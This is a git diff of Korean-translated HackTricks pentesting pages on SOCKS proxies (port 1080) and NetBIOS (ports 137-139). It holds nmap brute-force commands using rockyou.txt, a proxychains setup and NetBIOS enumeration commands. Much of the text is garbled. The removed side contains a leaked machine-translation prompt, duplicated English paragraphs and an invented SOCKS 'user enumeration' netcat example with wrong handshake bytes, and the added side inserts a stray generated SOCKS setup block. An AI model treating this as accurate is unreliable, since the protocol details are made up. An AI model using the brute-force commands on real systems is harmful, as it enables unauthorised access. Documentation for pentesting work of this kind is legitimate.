* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
||||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
|
||||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
|
||||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)을 **팔로우**하세요.
|
|
||||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 기교를 공유**하세요.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,120 +1,43 @@
|
||||||
# 1080 - Pentesting Socks
|
# 1080 - Pentesting Socks
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
HackTricks를 지원하는 다른 방법:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
|
||||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
|
||||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
|
||||||
* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
## 기본 정보
|
## Basic Information
|
||||||
|
|
||||||
**SOCKS**는 클라이언트와 서버 간에 프록시를 통해 데이터를 전송하는 데 사용되는 프로토콜입니다. 다섯 번째 버전인 **SOCKS5**는 선택적 인증 기능을 추가하여 인증된 사용자만 서버에 액세스할 수 있도록 합니다. 이 프로토콜은 주로 TCP 연결의 프록시 및 UDP 패킷의 전달을 처리하며 OSI 모델의 세션 계층 (레이어 5)에서 작동합니다.
|
**SOCKS**는 클라이언트와 서버 간에 프록시를 통해 데이터를 전송하는 데 사용되는 프로토콜입니다. 다섯 번째 버전인 **SOCKS5**는 선택적 인증 기능을 추가하여 권한이 있는 사용자만 서버에 접근할 수 있도록 합니다. 주로 TCP 연결의 프록시 처리와 UDP 패킷의 포워딩을 처리하며, OSI 모델의 세션 계층(계층 5)에서 작동합니다.
|
||||||
|
|
||||||
**기본 포트:** 1080
|
**기본 포트:** 1080
|
||||||
|
|
||||||
## 열거
|
## Enumeration
|
||||||
|
|
||||||
### 인증 확인
|
### Authentication Check
|
||||||
```bash
|
```bash
|
||||||
nmap -p 1080 <ip> --script socks-auth-info
|
nmap -p 1080 <ip> --script socks-auth-info
|
||||||
```
|
```
|
||||||
### 브루트 포스
|
### Brute Force
|
||||||
|
|
||||||
#### 기본 사용법
|
#### 기본 사용법
|
||||||
```bash
|
```bash
|
||||||
nmap --script socks-brute -p 1080 <ip>
|
nmap --script socks-brute -p 1080 <ip>
|
||||||
```
|
```
|
||||||
#### 고급 사용법
|
#### 고급 사용법
|
||||||
|
|
||||||
##### Socks Proxy
|
|
||||||
|
|
||||||
A SOCKS proxy is a protocol that allows a client to establish a TCP connection through a proxy server. It can be used to bypass firewalls and access restricted networks. In a pentesting scenario, SOCKS proxies can be useful for hiding the attacker's IP address and maintaining anonymity.
|
|
||||||
|
|
||||||
##### 소켓 프록시
|
|
||||||
|
|
||||||
SOCKS 프록시는 클라이언트가 프록시 서버를 통해 TCP 연결을 설정할 수 있는 프로토콜입니다. 방화벽을 우회하고 제한된 네트워크에 접근하는 데 사용될 수 있습니다. 펜테스팅 시나리오에서 SOCKS 프록시는 공격자의 IP 주소를 숨기고 익명성을 유지하는 데 유용할 수 있습니다.
|
|
||||||
|
|
||||||
##### Dynamic Port Forwarding
|
|
||||||
|
|
||||||
Dynamic port forwarding is a technique that allows a client to create a secure tunnel between their local machine and a remote server. This can be useful for accessing resources on a remote network that are not directly accessible. In a pentesting context, dynamic port forwarding can be used to bypass network restrictions and gain access to internal systems.
|
|
||||||
|
|
||||||
##### 동적 포트 포워딩
|
|
||||||
|
|
||||||
동적 포트 포워딩은 클라이언트가 로컬 머신과 원격 서버 사이에 안전한 터널을 생성할 수 있는 기술입니다. 이는 직접 접근할 수 없는 원격 네트워크의 리소스에 접근하는 데 유용할 수 있습니다. 펜테스팅 환경에서 동적 포트 포워딩은 네트워크 제한을 우회하고 내부 시스템에 액세스하는 데 사용될 수 있습니다.
|
|
||||||
|
|
||||||
##### Proxychains
|
|
||||||
|
|
||||||
Proxychains is a tool that allows applications to use proxy servers for network connections. It can be used to redirect network traffic through multiple proxies, providing an additional layer of anonymity. In a pentesting scenario, Proxychains can be used to hide the attacker's IP address and route traffic through different servers to avoid detection.
|
|
||||||
|
|
||||||
##### Proxychains
|
|
||||||
|
|
||||||
Proxychains는 응용 프로그램이 네트워크 연결에 프록시 서버를 사용할 수 있도록 하는 도구입니다. 이를 사용하여 네트워크 트래픽을 여러 프록시를 통해 리디렉션하여 추가적인 익명성을 제공할 수 있습니다. 펜테스팅 시나리오에서 Proxychains는 공격자의 IP 주소를 숨기고 감지를 피하기 위해 트래픽을 다른 서버를 통해 라우팅하는 데 사용될 수 있습니다.
|
|
||||||
```bash
|
```bash
|
||||||
nmap --script socks-brute --script-args userdb=users.txt,passdb=rockyou.txt,unpwdb.timelimit=30m -p 1080 <ip>
|
nmap --script socks-brute --script-args userdb=users.txt,passdb=rockyou.txt,unpwdb.timelimit=30m -p 1080 <ip>
|
||||||
```
|
```
|
||||||
# Pentesting SOCKS
|
#### 출력
|
||||||
|
|
||||||
## Introduction
|
|
||||||
|
|
||||||
SOCKS (Socket Secure) is a protocol that allows a client to establish a connection through a proxy server. It is commonly used for bypassing network restrictions and anonymizing internet traffic. In this section, we will explore various techniques for pentesting SOCKS servers.
|
|
||||||
|
|
||||||
## Enumeration
|
|
||||||
|
|
||||||
### Version Detection
|
|
||||||
|
|
||||||
To determine the version of the SOCKS server, we can send a `SOCKS5` handshake request and analyze the response. The server will reply with its supported version and authentication methods.
|
|
||||||
|
|
||||||
```bash
|
|
||||||
$ nc -v <target_ip> <target_port>
|
|
||||||
> 05 01 00
|
|
||||||
< 05 00
|
|
||||||
```
|
|
||||||
|
|
||||||
In the above example, the server responded with `05 00`, indicating that it supports `SOCKS5` and does not require authentication.
|
|
||||||
|
|
||||||
### User Enumeration
|
|
||||||
|
|
||||||
Some SOCKS servers may require authentication. To enumerate valid usernames, we can use a brute-force approach. By sending a `SOCKS5` handshake request with different usernames, we can analyze the server's response to determine if the username is valid.
|
|
||||||
|
|
||||||
```bash
|
|
||||||
$ nc -v <target_ip> <target_port>
|
|
||||||
> 05 01 00 02 00 00 00 00 00 00
|
|
||||||
< 05 02
|
|
||||||
```
|
|
||||||
|
|
||||||
In the above example, the server responded with `05 02`, indicating that it requires authentication. We can continue sending handshake requests with different usernames to determine valid ones.
|
|
||||||
|
|
||||||
## Exploitation
|
|
||||||
|
|
||||||
### Proxy Chaining
|
|
||||||
|
|
||||||
One technique for exploiting a SOCKS server is proxy chaining. By chaining multiple SOCKS servers together, we can create a chain of proxies that can be used for various purposes, such as bypassing network restrictions or hiding the source of an attack.
|
|
||||||
|
|
||||||
To set up proxy chaining, we need to configure each SOCKS server to forward traffic to the next server in the chain. This can be done by modifying the server's configuration file or using a tool like `proxychains`.
|
|
||||||
|
|
||||||
```bash
|
|
||||||
$ proxychains <command>
|
|
||||||
```
|
|
||||||
|
|
||||||
In the above example, `<command>` represents the command or tool that we want to run through the proxy chain.
|
|
||||||
|
|
||||||
### Traffic Analysis
|
|
||||||
|
|
||||||
Another technique for exploiting a SOCKS server is traffic analysis. By analyzing the traffic passing through the server, we can gather valuable information about the network and potentially identify vulnerabilities or sensitive data.
|
|
||||||
|
|
||||||
To perform traffic analysis, we can use tools like Wireshark to capture and analyze network packets. By filtering the captured packets based on the SOCKS server's IP address and port, we can focus on the relevant traffic.
|
|
||||||
|
|
||||||
## Conclusion
|
|
||||||
|
|
||||||
Pentesting SOCKS servers can provide valuable insights into network security and help identify potential vulnerabilities. By understanding the enumeration and exploitation techniques discussed in this section, pentesters can effectively assess the security of SOCKS servers.
|
|
||||||
```
|
```
|
||||||
PORT STATE SERVICE
|
PORT STATE SERVICE
|
||||||
1080/tcp open socks
|
1080/tcp open socks
|
||||||
|
@ -124,15 +47,40 @@ PORT STATE SERVICE
|
||||||
| Statistics
|
| Statistics
|
||||||
|_ Performed 1921 guesses in 6 seconds, average tps: 320
|
|_ Performed 1921 guesses in 6 seconds, average tps: 320
|
||||||
```
|
```
|
||||||
## 터널링과 포트 포워딩
|
## 터널링 및 포트 포워딩
|
||||||
|
|
||||||
### 기본적인 proxychains 사용법
|
### 기본 proxychains 사용법
|
||||||
|
|
||||||
socks 프록시를 사용하기 위해 proxy chains를 설정합니다.
|
socks 프록시를 사용하도록 proxy chains 설정
|
||||||
```
|
```
|
||||||
nano /etc/proxychains4.conf
|
nano /etc/proxychains4.conf
|
||||||
```
|
```
|
||||||
다음은 SOCKS 프록시에 대한 펜테스팅 기술에 관한 내용입니다. 아래 내용은 /hive/hacktricks/network-services-pentesting/1080-pentesting-socks.md 파일에서 가져온 것입니다. 관련된 영어 텍스트를 한국어로 번역하고, 번역된 내용을 동일한 마크다운 및 HTML 구문으로 유지하여 반환하세요. 코드, 해킹 기술 이름, 해킹 관련 용어, 클라우드/SaaS 플랫폼 이름(예: Workspace, aws, gcp...) 및 'leak'이라는 단어, 펜테스팅, 마크다운 태그와 같은 내용은 번역하지 마세요. 또한 번역 및 마크다운 구문 이외의 추가 내용은 추가하지 마세요.
|
Edit the bottom and add your proxy
|
||||||
|
|
||||||
|
```markdown
|
||||||
|
# SOCKS 프록시
|
||||||
|
|
||||||
|
SOCKS 프록시는 클라이언트와 서버 간의 트래픽을 중계하는 프로토콜입니다. 이 프로토콜은 다양한 네트워크 서비스에 대한 액세스를 제공하며, 보안 및 익명성을 높이는 데 유용합니다.
|
||||||
|
|
||||||
|
## SOCKS 설정
|
||||||
|
|
||||||
|
SOCKS 프록시를 설정하려면 다음 단계를 따르십시오:
|
||||||
|
|
||||||
|
1. 프록시 서버의 IP 주소와 포트를 확인합니다.
|
||||||
|
2. 클라이언트 소프트웨어에서 프록시 설정을 엽니다.
|
||||||
|
3. SOCKS 프록시 옵션을 선택하고, IP 주소와 포트를 입력합니다.
|
||||||
|
4. 설정을 저장하고 클라이언트를 재시작합니다.
|
||||||
|
|
||||||
|
## 테스트
|
||||||
|
|
||||||
|
프록시가 제대로 작동하는지 확인하려면 다음 명령어를 사용하여 연결을 테스트합니다:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
curl --socks5 <프록시_IP>:<포트> http://example.com
|
||||||
|
```
|
||||||
|
|
||||||
|
이 명령어는 SOCKS 프록시를 통해 example.com에 연결을 시도합니다. 성공적으로 연결되면 프록시가 올바르게 설정된 것입니다.
|
||||||
|
```
|
||||||
```
|
```
|
||||||
socks5 10.10.10.10 1080
|
socks5 10.10.10.10 1080
|
||||||
```
|
```
|
||||||
|
@ -140,18 +88,19 @@ socks5 10.10.10.10 1080
|
||||||
```
|
```
|
||||||
socks5 10.10.10.10 1080 username password
|
socks5 10.10.10.10 1080 username password
|
||||||
```
|
```
|
||||||
#### 자세한 정보: [터널링과 포트 포워딩](../generic-methodologies-and-resources/tunneling-and-port-forwarding.md)
|
#### More info: [Tunneling and Port Forwarding](../generic-methodologies-and-resources/tunneling-and-port-forwarding.md)
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
HackTricks를 지원하는 다른 방법:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
* **해킹 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) **와** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **깃허브 리포지토리에 PR을 제출하세요.**
|
||||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
|
||||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
|
||||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
|
||||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 여러분의 해킹 기교를 공유하세요.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,32 +1,33 @@
|
||||||
# 137,138,139 - NetBios 펜테스팅
|
# 137,138,139 - Pentesting NetBios
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
HackTricks를 지원하는 다른 방법:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
|
||||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
|
||||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**를** **팔로우**하세요.
|
|
||||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
## NetBios 이름 서비스
|
## NetBios Name Service
|
||||||
|
|
||||||
**NetBIOS 이름 서비스**는 **이름 등록 및 해결**, **데이터그램 분배**, **세션 서비스**와 같은 다양한 서비스에 관여하며, 각 서비스에 대해 특정 포트를 사용합니다.
|
**NetBIOS Name Service**는 **이름 등록 및 해상도**, **데이터그램 배포**, **세션 서비스**와 같은 다양한 서비스를 포함하여 중요한 역할을 하며, 각 서비스에 대해 특정 포트를 사용합니다.
|
||||||
|
|
||||||
[Wikidepia에서](https://en.wikipedia.org/wiki/NetBIOS_over_TCP/IP):
|
[From Wikidepia](https://en.wikipedia.org/wiki/NetBIOS_over_TCP/IP):
|
||||||
|
|
||||||
* 이름 등록 및 해결을 위한 이름 서비스 (포트: 137/udp 및 137/tcp).
|
* 이름 등록 및 해상도를 위한 이름 서비스 (포트: 137/udp 및 137/tcp).
|
||||||
* 연결 없는 통신을 위한 데이터그램 분배 서비스 (포트: 138/udp).
|
* 연결 없는 통신을 위한 데이터그램 배포 서비스 (포트: 138/udp).
|
||||||
* 연결 지향적 통신을 위한 세션 서비스 (포트: 139/tcp).
|
* 연결 지향 통신을 위한 세션 서비스 (포트: 139/tcp).
|
||||||
|
|
||||||
### 이름 서비스
|
### Name Service
|
||||||
|
|
||||||
NetBIOS 네트워크에 참여하려면 장치는 고유한 이름을 가져야 합니다. 이는 "Name Query" 패킷을 보내는 **브로드캐스트 프로세스**를 통해 달성됩니다. 이에 대한 이의가 없으면 이름은 사용 가능한 것으로 간주됩니다. 또는 **이름 서비스 서버**에 직접 조회하여 이름의 가용성을 확인하거나 IP 주소로 이름을 해결할 수 있습니다. `nmblookup`, `nbtscan`, `nmap`과 같은 도구를 사용하여 NetBIOS 서비스를 열거하고 서버 이름과 MAC 주소를 확인할 수 있습니다.
|
장치가 NetBIOS 네트워크에 참여하려면 고유한 이름을 가져야 합니다. 이는 "이름 쿼리" 패킷이 전송되는 **브로드캐스트 프로세스**를 통해 이루어집니다. 이의 제기가 없으면 이름은 사용 가능한 것으로 간주됩니다. 또는 **이름 서비스 서버**에 직접 쿼리하여 이름의 가용성을 확인하거나 이름을 IP 주소로 해상할 수 있습니다. `nmblookup`, `nbtscan`, `nmap`과 같은 도구는 NetBIOS 서비스를 열거하는 데 사용되며, 서버 이름과 MAC 주소를 드러냅니다.
|
||||||
```bash
|
```bash
|
||||||
PORT STATE SERVICE VERSION
|
PORT STATE SERVICE VERSION
|
||||||
137/udp open netbios-ns Samba nmbd netbios-ns (workgroup: WORKGROUP)
|
137/udp open netbios-ns Samba nmbd netbios-ns (workgroup: WORKGROUP)
|
||||||
|
@ -37,31 +38,31 @@ nmblookup -A <IP>
|
||||||
nbtscan <IP>/30
|
nbtscan <IP>/30
|
||||||
sudo nmap -sU -sV -T4 --script nbstat.nse -p137 -Pn -n <IP>
|
sudo nmap -sU -sV -T4 --script nbstat.nse -p137 -Pn -n <IP>
|
||||||
```
|
```
|
||||||
### 데이터그램 분배 서비스
|
### Datagram Distribution Service
|
||||||
|
|
||||||
NetBIOS 데이터그램은 UDP를 통해 연결 없는 통신을 지원하며, 직접 메시징 또는 모든 네트워크 이름에 대한 브로드캐스팅을 지원합니다. 이 서비스는 **138/udp** 포트를 사용합니다.
|
NetBIOS 데이터그램은 UDP를 통해 연결 없는 통신을 허용하며, 직접 메시지를 보내거나 모든 네트워크 이름에 브로드캐스팅할 수 있습니다. 이 서비스는 포트 **138/udp**를 사용합니다.
|
||||||
```bash
|
```bash
|
||||||
PORT STATE SERVICE VERSION
|
PORT STATE SERVICE VERSION
|
||||||
138/udp open|filtered netbios-dgm
|
138/udp open|filtered netbios-dgm
|
||||||
```
|
```
|
||||||
### 세션 서비스
|
### Session Service
|
||||||
|
|
||||||
연결 지향적 상호작용을 위해 **세션 서비스**는 **TCP** 연결을 통해 두 장치 간의 대화를 용이하게 합니다. 세션은 "세션 요청" 패킷으로 시작되며 응답에 따라 수립될 수 있습니다. 이 서비스는 큰 메시지, 오류 감지 및 복구를 지원하며, TCP는 흐름 제어와 패킷 재전송을 처리합니다.
|
연결 지향 상호작용을 위해, **Session Service**는 두 장치 간의 대화를 촉진하며, **TCP** 연결을 통해 포트 **139/tcp**를 사용합니다. 세션은 "Session Request" 패킷으로 시작되며, 응답에 따라 설정될 수 있습니다. 이 서비스는 더 큰 메시지, 오류 감지 및 복구를 지원하며, TCP는 흐름 제어 및 패킷 재전송을 처리합니다.
|
||||||
|
|
||||||
세션 내에서의 데이터 전송은 **세션 메시지 패킷**을 통해 이루어지며, 세션은 TCP 연결을 닫음으로써 종료됩니다.
|
세션 내 데이터 전송은 **Session Message packets**를 포함하며, 세션은 TCP 연결을 닫음으로써 종료됩니다.
|
||||||
|
|
||||||
이러한 서비스는 **NetBIOS** 기능에 필수적이며, 네트워크 전체에서 효율적인 통신과 자원 공유를 가능하게 합니다. TCP 및 IP 프로토콜에 대한 자세한 정보는 각각의 [TCP Wikipedia](https://en.wikipedia.org/wiki/Transmission_Control_Protocol) 및 [IP Wikipedia](https://en.wikipedia.org/wiki/Internet_Protocol) 페이지를 참조하십시오.
|
이 서비스는 **NetBIOS** 기능에 필수적이며, 네트워크 전반에 걸쳐 효율적인 통신 및 자원 공유를 가능하게 합니다. TCP 및 IP 프로토콜에 대한 자세한 정보는 각각의 [TCP Wikipedia](https://en.wikipedia.org/wiki/Transmission_Control_Protocol) 및 [IP Wikipedia](https://en.wikipedia.org/wiki/Internet_Protocol) 페이지를 참조하십시오.
|
||||||
```bash
|
```bash
|
||||||
PORT STATE SERVICE VERSION
|
PORT STATE SERVICE VERSION
|
||||||
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
|
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
|
||||||
```
|
```
|
||||||
**다음 페이지를 읽어 이 서비스를 열거하는 방법을 알아보세요:**
|
**다음 페이지를 읽어 이 서비스를 열거하는 방법을 배우세요:**
|
||||||
|
|
||||||
{% content-ref url="137-138-139-pentesting-netbios.md" %}
|
{% content-ref url="137-138-139-pentesting-netbios.md" %}
|
||||||
[137-138-139-pentesting-netbios.md](137-138-139-pentesting-netbios.md)
|
[137-138-139-pentesting-netbios.md](137-138-139-pentesting-netbios.md)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
## HackTricks 자동 명령어
|
## HackTricks 자동 명령
|
||||||
```
|
```
|
||||||
Protocol_Name: Netbios #Protocol Abbreviation if there is one.
|
Protocol_Name: Netbios #Protocol Abbreviation if there is one.
|
||||||
Port_Number: 137,138,139 #Comma separated if there is more than one.
|
Port_Number: 137,138,139 #Comma separated if there is more than one.
|
||||||
|
@ -84,16 +85,17 @@ Name: Find Names
|
||||||
Description: Three scans to find the names of the server
|
Description: Three scans to find the names of the server
|
||||||
Command: nmblookup -A {IP} &&&& nbtscan {IP}/30 &&&& nmap -sU -sV -T4 --script nbstat.nse -p 137 -Pn -n {IP}
|
Command: nmblookup -A {IP} &&&& nbtscan {IP}/30 &&&& nmap -sU -sV -T4 --script nbstat.nse -p 137 -Pn -n {IP}
|
||||||
```
|
```
|
||||||
|
{% hint style="success" %}
|
||||||
|
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
<summary>HackTricks 지원하기</summary>
|
||||||
|
|
||||||
HackTricks를 지원하는 다른 방법:
|
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||||
|
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
||||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
|
||||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
|
||||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
|
||||||
* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,32 +1,33 @@
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
HackTricks를 지원하는 다른 방법:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
